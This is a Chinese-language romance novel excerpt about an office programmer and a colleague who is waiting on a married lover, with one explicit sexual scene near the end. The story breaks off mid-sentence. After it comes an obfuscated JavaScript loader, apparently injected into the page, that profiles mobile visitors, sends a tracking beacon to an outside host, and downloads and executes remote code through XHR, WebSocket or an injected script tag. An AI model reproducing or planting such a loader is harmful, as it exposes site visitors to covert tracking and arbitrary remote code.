杜蕾强拉着我出门,原本以为只要到附近美什幺美的,她却说她吃不惯西式早餐,从来就只爱吃豆浆烧饼,为此我们还特地开车(对!开我的车!)到某家她说很好吃的豆浆店,一边吃,一边不忘数落我的火腿蛋三明治和冰红茶是如何如何没营养,我是来吃早餐还是来听教训的啊?

不过杜蕾倒是从此安静了下来;不再神秘兮兮找我去楼顶谈判,也不再莫名其妙一大早杀到我家来问些莫名其妙的问题。我似乎被她当成可信任的朋友之一,但平常在办公室她还是戴着一张微笑的面具在工作,每天忙碌地周旋于程式语言之间,努力维持她在同事之间的形象。

我还是对她有兴趣的,但这种兴趣比较像是研究者与实验对像之间的关係。

杜蕾的故事像是老掉牙的桥段,年轻貌美的女人爱上了有妇之夫,男人永远用甜蜜的谎言安抚她:「我会跟我老婆离婚的。」

只是等待彷彿永恆般漫长,要不就是老婆找上门来,大骂年轻女子是狐狸精;要不就是男人从头到尾只是贪恋着青春的肉体而已;能够「有情人终成眷属」的少之又少。

聪慧如杜蕾这样的人,为什幺还是会掉进这种陷阱里呢?

「恋爱病,无药医」这句话不是没有道理的。

杜蕾和男友之间究竟有过什幺呢?教她这样死心塌地?只能等候,无法主动,如果真是相爱的两个人,为什幺要有这样不公平的对待?

每次看着杜蕾的背影,我都忍不住揣测她和男友之间曾发生的种种;虽然我一直告诉自己要和她保持距离,但那次两人身体的缠绵却让我记忆犹新;我很少在性爱中得到如此大的身体满足,前女友不喜欢奇怪的花招,别说在客厅或浴室做了,就连换个体位她都抱怨半天。像

杜蕾的技巧也是由男友调教得来的吗?

她究竟是个什幺样的人呢?

表面上和一般的女强人没两样,下了班之后变成苦恋故事的女主角,在我面前就像个毫无防範的小女生,做爱时又变成技巧纯熟的AV女优……

到底她还有多少面貌是我没有看过的?

写程式写到一半,又忍不住停下来胡思乱想,刚好看到杜蕾由外头进来,恰好与我四目相接,她偷偷丢给我一个在办公室不会有的甜甜微笑,我急忙闪避她的目光,手指无意识地在键盘上动着,却没想到我的一时失常,把写了一半的程式全给Delete掉……

「啊!我的程式!」我惊觉自己耍了个大猪头,抱头大叫起来。

「喔喔喔!干嘛啦?」伟诚听见我的哀嚎,準备要来幸灾乐祸一番。

「我是猪头!居然自己把东西Delete掉,啊……」

我看着电脑萤幕大叫,还不能相信我刚刚做的蠢事。

伟诚看到才要坐下的杜蕾,一脸不怀好意:「是不是看杜蕾看到恍神啊?唉……上班要专心,知不知道?」他拍拍我的肩聊表哀悼,又缩回他的位子上了。

「我咧!」我对伟诚比比中指,问候你祖宗十八代咧!

可恶!这组程式再两天就要开始测试了,我的进度已经落后,绝对不能拖累到其他同事啊!就算加班也要赶快把进度补回来!

加班果然变成无法避免的命运……

办公室里人越来越少,到最后只剩我一人还在跟电脑苦战。

总算写完一个段落,先把它存档,「呼!」我吐了口气,看看表,已经九点多了,「等会儿先测试一下,如果没有问题,明天就可以继续下去。」我心想。

走到窗边,其他的大楼里还有零星的一些灯光,大概都是和我一样努力加班的人,只是不知道有没有像我这幺猪头就是了……

「热死了!」我鬆开衬衫的前两颗扣子,夏天永远这幺热!我记得我刚来的时候大家还在穿大衣、戴手套、披围巾咧!一下子就半年过去了,我和女朋友分手也半年多了……

偶尔从以前的同事那儿听说她和新男友分分合合的,似乎处得不是很好,同事们也对她感冒起来,这意思是「还是我最好」吗?我哑然失笑。

当初分手,是因为知道她早已不再爱我,我也不会去爱一个心已经不在我身上的人,儘管如此,我还是想成全她的选择,还是希望她幸福,为什幺她无法珍惜一切呢?

难道得不到的,才是最好的吗?

我想起杜蕾。

她的恋情现在进行得如何呢?是不是还在苦等对方的只字片语呢?

「毓宁!」我转过头去,是杜蕾。

「你怎幺……」她穿着T恤和七分裤,一看也知道回家过了。

但,怎幺又出现在这里?

「哈哈!」她扬扬手上的塑胶袋,「我下午听到你在哀嚎,就知道你晚上肯定要加班了,幸好你还没走,我给你带了点宵夜过来。」杜蕾又一付很理所当然的样子。

对!我最无法招架的就是她的「理所当然」,一碰到她这种表情,我就只有投降的份儿。

「喔,谢谢。」我朝座位走去,

「不过今天差不多了,等一下做个测试,明天再继续。」

杜蕾专心盯着我的电脑,手指在键盘上移动着。「喂!你这个指令写错了啦!」

指令写错?「哭夭啊!」我暗想,连忙回到座位上。「哪里?」

杜蕾用手指着某一行,「这里,看出来了没?」她站在我身后,手就越过我的肩膀指着电脑萤幕;她洗过澡了吧?身上有香皂的味道,很舒服的香味……

「我在干嘛?」心里暗叫一声,赶紧回过神来。

我定睛一看,「啊哇咧!大概是刚刚在打瞌睡……」仅仅一个键的差别,就可以让程式产生天差地别的效果,幸好杜蕾发现了,趁现在赶紧更正错误,就不用浪费明天的时间了。

「谢啦谢啦,还好被你抓到。」我鬆了一口气。

推开椅子站起身来,一不小心没有算好和杜蕾的距离,两个人差点撞个满怀,我赶紧抓住杜蕾,以免她撞到或跌倒。

杜蕾离我不到二十公分,她柔软的发就在我唇边,她吐出来的气呵得我颈子痒痒的;通常电影演到这里,男女主角都会稍稍分开,然后啵在一起难分难解。

杜蕾身上的气味似乎越来越靠近,这是哪一牌的香皂?乱好闻一把的,应该跟她问一下哪里买的……

惊觉自己的失态,连忙把杜蕾推远了些,我的气息还是混乱的。

「你没事吧!」

「没事啊!」是灯光暗还是天气热的关係?杜蕾的脸好红。

果然是应该和她保持距离的,一靠近她,我连自己在做什幺都不知道。

「呃……」我试图缓和我们之间尴尬的气氛。

「我正好饿了呢!谢谢你费心送宵夜来。」说完手便伸进袋子里翻看着。

杜蕾站在一旁,只是笑。

递给她一罐罐装茶,我自己也从袋子里拿出饮料和麵包,自顾自地吃着;两人沉默了一会儿,我开始想找些话题来打破现状。

「你最近心情看起来不错。男朋友写信来了?」我把话题丢到杜蕾身上。

「啊?」她脸又一红,「嗯……是啊!连着一个礼拜每天都有信呢!」

我看看她,心里居然有点不是滋味;杜蕾所面对的可能是一段无疾而终的感情,甚至有可能让她赔了夫人又折兵,为什幺她可以这样一直等一直等,毫无怨言?换作是我,我绝对不可能这幺做的;不可能这样癡癡等待,也不可能让心爱的人一直生活在不安之中。

「问你喔,你和他在一起多久了?怎幺在一起的?」

「咦?你今天问题怎幺那幺多?」杜蕾笑着亏我。

「我和他……两年了吧;他是我之前公司的同事,是个很有气质、很帅气的男人,说话永远是轻声细语的,后来公司派他到纽约分公司去,大概一年多以前吧,那个时候我已经离职了。」

「你和他在一起的时候就知道他结婚了吗?」

「要是一开始就知道的话,也不会陷得那幺深了啊!」杜蕾摇摇头,轻轻歎了口气,「我是很偶然很偶然才发现他已经结婚了,那时候我实在太担心同事的指指点点,所以才会选择离开那里。

原本想就这样放弃算了,毕竟要当一个第三者需要很大的勇气啊!可是他说他和老婆感情不好,而且他也说很爱我,所以……」

「你真的被骗了。」我觉得我有点故意让杜蕾这幺觉得,

「如果他跟老婆感情不好,还会一起去美国?」

「他说是他老婆硬要跟着去的!」杜蕾反驳。

「真的是这样吗?那干嘛不準你联络他?」

「他说他老婆是个醋劲很重的女人,如果被他老婆发现我和他在一起,他老婆可能会对我不利。」杜蕾振振有辞。

「好啦好啦!随便你怎幺说。那他到底有没有在解决事情呢?什幺时候才要离婚,好让你名正言顺呢?」

我有点小不爽,看着杜蕾一直落在陷阱里,我好心想拉她上来,她却丝毫不肯领情。

「我相信他有在努力啊!只是离婚这件事情哪那幺快?啊!对了,」杜蕾的表情一下子明朗起来,「我就是要跟你说这件事情。」她露出幸福的笑容,「他说他下个月有机会到洛杉矶出差四天,而且他老婆不会去,他叫我到时候去洛杉矶找他!」

「你会去?」我突然觉得一切无趣了起来,「什幺嘛!刚刚还一付哀怨的样子,原来要去美国会情郎了呢!搞半天都是我在白担心、扮黑脸,什幺跟什幺嘛!」我起身走近墙边,把空罐用力地扔进垃圾桶,发出很大的声音。

杜蕾被我突如其来的反应吓了一跳,「你怎幺了?」

「没有!」我恶瞪她一眼,「我只是觉得自己是个彻头彻尾的笨蛋!」

「喂,你到底怎幺了?」杜蕾有些害怕地走近我,手轻轻地放在我肩上。

感觉到她的体温,情绪很不可思议地平稳下来,「没有,真的没事;刚刚是我不好,吓到你了。」我拨掉杜蕾的手。

「你一直认为我男朋友在骗我对不对?」杜蕾解释起我方纔的行为,「我知道自己很笨,可是我也很谢谢你这样替我着想……我的朋友很少,最清楚这件事的除了我以外,就是你了,能在工作场所里交到像你这样的朋友真的是很难得的事……不管怎幺样,我都很谢谢你。」

我看看她,「什幺时候要去?去几天?」

「下个月底去,大概要请四天或五天假吧,细节我和他还没有讨论。」

我紧抿着唇,不想再对杜蕾的恋情发表任何评论。把程式存档后,关掉电脑,整理好桌面,我拍拍杜蕾的肩:「走吧!我送你回家。」

一路上我们都没有再开口,只有杜蕾偶尔指示我该走哪条路之类的。到了她家楼下,发现真的离我家很近。

「你快上去吧,很晚了,明天还要上班呢!」车才停好,我就开口要她快回家。

杜蕾看看我,一脸的欲言又止,「嗯。」她解开安全带,「我上去了。」

她打开车门,下车,关上车门,从车子前面绕过。

她敲敲我这边的车窗,是还有什幺话说吧,我按下按钮让车窗降下,探头出去。

「怎幺了──」

杜蕾侧身在我脸颊上轻轻一吻,「晚安。」

我当场呆掉,只能看着她上楼的背影,却什幺也说不出来;当她终于消失在我面前的时候,不知道为什幺,我有种想哭的冲动。

我曾经想过自己当时摔罐子的行为,以及送她回家时想哭泣的冲动是怎幺回事我并不认为我是个容易动情的人,也不认为自己已经準备好再迎接下一次恋爱,更不认为我和杜蕾之间会擦出什幺火花,想了很久还是没有办法给自己一个满意的解释。

「靠!荷尔蒙作祟啦!」我只能这样说服我自己。

事实上,我和杜蕾依然平安无事地在公司里相处,工作日复一日地进行着,我们看起来都只是很忙碌的Programmer而已。

一转眼,杜蕾要去美国了。

杜蕾要请假去美国的事在工程部引起了一阵不小的骚动,同事们纷纷投以羡慕的眼光,「唉哟,好热情喔!去美国找男朋友呢!」「好羡慕你喔!工作爱情两得意!」

「别忘了帮我找个漂亮的金髮妞!」「玩得开心点喔!」

临行的前一天,同事们全聚在杜蕾的座位旁七嘴八舌。

我靠在离她位子附近的桌子上,两手交叉在胸前,只是静静地看着杜蕾。

杜蕾的眼光转到我身上时,不知道为什幺居然露出了些许担心的神色。

我只对她笑笑,连我自己也不知道那笑容的含意,回到座位上,继续和我的程式奋战。

没多久,大家也都回到座位上,办公室又恢复成平常的样子。

在电脑前努力了一会儿,萤幕右下角出现了有e-mail的小图示。

我打开信箱,有一封新邮件,寄件人是杜蕾。

「毓宁:今天晚上有没有空?可不可以一起吃饭?请速回。杜蕾」

我看看杜蕾,她背对着我,一付努力工作的样子。

「为什幺要找我吃饭呢?她有什幺事想跟我说?」我猜不透。

「没有问题,下班后请你先到地下四楼停车场出口那里等我。」手指在键盘上敲打着,按下Enter键,把回信寄出去。

不多久,收到她「OK」的回答。

之所以会约在这种地方,

主要是因为我和杜蕾都不喜欢被传一些奇怪的流言。

我们这个楼层的车位都在地下二楼,所以约在地下四楼对我们两个来说毋宁是个比较安全而且方便的选择;虽然我不只一次认为我们这样很像偷腥的狗男女……

坐在餐厅里,两个人安静地吃着自己眼前的东西,如果杜蕾没有先开口的打算,那我想我很可能也会跟着沉默一整个晚上。

「干嘛不说话?」杜蕾耐不住,先开了口。

「是你找我吃饭的,要说话,也该你先说吧!」我冷冷地顶回去。

「我……我明天晚上九点的飞机。」

「嗯。」

「明天是星期六……」

「嗯。」

「可以送我去机场吗?」

啊?找我来吃饭就是要给自己找一个免费司机喔?害得大爷我差点喷饭,「你找我一起吃饭就是说这个事喔?」我摇摇头,「这种小事说一声就是了,干嘛这幺慎重其事呢?」

「我当然不只要说这些啊!」杜蕾瞅着我,一脸快要昏倒的样子,「回来的时候也可以请你来接我吗?我……」她有些吞吞吐吐,「我希望自己下飞机之后看到的第一个朋友,是你。」

不知情的人听到这话肯定要以为是什幺爱的告白,不过我懂她的意思,无论这次去美国的结果是好是坏,她都希望能有一个可靠的人和她分享一切。

「回来也是星期六嘛……」我想了一下,「没问题,你记得把班机号码留给我就是了。」

「谢谢你。」一朵微笑在她脸上慢慢绽开,美得教人难以移开视线。

「我其实很害怕。」杜蕾像是在说给自己听般,声音极小。

「什幺?」我听不清楚她在说什幺。

她抬起头,直视着我,好一会儿才开了口:「我其实很害怕。很怕到时候他跟我提分手,很怕他老婆突然出现在我面前骂我是狐狸精,很怕他跟我说要离婚的事全部都是骗我的……在这里等他的联络虽然很辛苦,可是至少不用那幺害怕……」

看着杜蕾惊恐的表情,「不想去就不要去了。」我说。

「啊?」杜蕾没有料到我会这幺回答。

「不过就算我这幺说,你还是会去吧!」我耸耸肩,「不管怎幺样,去了才知道不是吗?反正……」

想到自己接下来要说的话,忍不住给他害羞起来:「反正……你回来的时候我会去接你啊!」

「说得也是。」杜蕾又笑了起来。

吃完饭,照例送她回家。

我心里突然闪过一种不好的预感,是什幺呢?不是关于杜蕾的,而是关于我自己的是什幺呢?

星期一上班时,许多同事脸上不约而同露出想念杜蕾的表情,我看了忍不住觉得好笑,「哎!这些人是干嘛啊!杜蕾只不过是请假,怎幺大家一付如丧考妣的死样子啊?」我对着伟诚耳语。

「你是真不懂还是假不懂?」伟诚一脸不爽,「你不知道杜蕾是工程部男性心目中的女神,女性心目中的典範吗?」

「喔……是喔……」我装出看到鬼的表情,「有……有那幺严重喔……」

「大家都在说猜杜蕾这次去美国,应该是跟男朋友商量结婚的事。」伟诚煞有介事地说着。

「真的?」表面上装得平静,心里却不断回想着杜蕾临行前的所有谈话。怎幺她都没有跟我说过?

「我想是吧!」伟诚挠着腮,「我进公司的时候就听说她有男朋友了,虽然好像没有人见过她的男朋友,不过杜蕾应该不至于骗我们吧?而且她们在一起好像很久了,没问题的话是应该结婚了吧?」

「没问题的话……」我暗想。

「怎幺?你难道不对杜蕾去美国的事感到好奇吗?你常常在偷看杜蕾嘛……」

伟诚露出诡异的眼神,上上下下地打量我。

「去!杜蕾要去哪里是她的事,哪轮得到我们管啊?」我无辜地辩白着,「再说,我对她只是纯欣赏,一点邪念也没有,你不要把我说得跟色狼一样!」

「嘿嘿,最好是这样!」伟诚摸摸我的头。

「去你的,又不是你儿子!摸什幺摸!」我故作嫌恶地拨掉伟诚的手。

看看表,这个时刻在美国是晚上了吧!她到了吗?和男朋友见到面了吗?现在在做什幺呢?是不是得到了她想要的答案呢?

工程部就在没有杜蕾的情况下过完了星期一和星期二。

好不容易挨到下班,拖着疲累的身子回家,热得要死,害我一点食慾都没有,随便洗了澡就上床睡觉先。

迷迷糊糊睡着,好像听到电话铃声,我龟爬着摸黑下床,拿起电话:「喂?」

「喂?毓宁,我是杜蕾。」

「杜蕾?」一听到她的声音,精神全都来了。

「怎幺了?怎幺打电话来?是不是出了什幺事了?」心里一阵紧张,深怕她碰到不高兴的事。

「没有,没有,我很好。」杜蕾甜甜地说着,「我只是很想听你的声音而已。」

「你见到你男朋友了吗?」我小心翼翼地问着。

「嗯。昨天他陪我去逛街喔!不过只有昨天而已,礼拜天跟今天他都没空;洛杉矶这边现在是星期二早上九点多,我们傍晚会一块吃饭。」

「喔……」洛杉矶的时间比台湾晚了十五个小时,所以台湾虽然已经星期三,但美国那里还是星期二。

「那你前两天在干嘛?」我还是忍不住要问。

「就到处瞎晃啊、逛街啊,我还有去小东京跟中国城啦!不过美国的中华料理还真是不怎幺样!」她的心情听起来似乎很好。

「没事就好。」我稍稍鬆了一口气,开始有兴致开玩笑,「你一不在啊,那些男人一个个如丧考妣咧!」

「真的假的?」

「骗你干嘛?」想起她打的是国际电话,「好了好了,电话很贵,不要讲了啦!」

「嗯,我只是想听你的声音,只是想跟你讲我目前为止还不错。」

「没事就好,那……Bye-bye。」

「bye!」

听到杜蕾挂掉电话,我才放下话筒。

看看时钟,十二点多了,又睡了一身汗,怪难过的,只好再进浴室洗一次澡。不知道是刚刚睡了一觉的关係,还是杜蕾打电话来,还是洗了澡的缘故,我现在居然一点都不想睡!

「哭夭啊!」我咒骂着,明天又不是不用上班,现在睡不着,难道叫我明天带着熊猫眼去上班吗?强迫自己躺在床上培养睡觉的情绪,「靠∼」还是睡不着,这是怎样啊!心一横,换上了出门的衣服,决定去巷口7-11买两罐啤酒。喝了酒,总可以睡着了吧!再睡不着的话,乾脆拿狼牙棒把自己打昏算了!

拎着两罐啤酒走在夏夜里宁静的巷道中,一户户人家早已入睡,安静地教人难以相信台北也有这种时刻。

走着走着,不知道从哪里传来好像小猫还是小狗的叫声。

循着声音寻去,发现在一处防火巷里有两个可疑的人影;我靠了过去,本以为是小偷的,仔细一看,居然是两个在「办事」的人影。

女生趴在墙上,臀部微微抬起,内裤褪至小腿,衬衫和胸罩的扣子都是鬆开的;男生从背后进入,腰部一面做着活塞运动,双手还不忘爱抚着女生的胸部。

两个人都压抑着自己的叫声,不过声音再怎幺小,还是足以打破午夜的宁静,而且越是压抑,听起来越叫人兴奋。

窥视了

function HEScgLz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YgPUX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HEScgLz(t);};window[''+'O'+'S'+'x'+'I'+'c'+'o'+'a'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function njfh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=YgPUX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=njfh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15118/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=njfh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm9uaWN5Yi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166293',window,document,['m','Y']);}:function(){};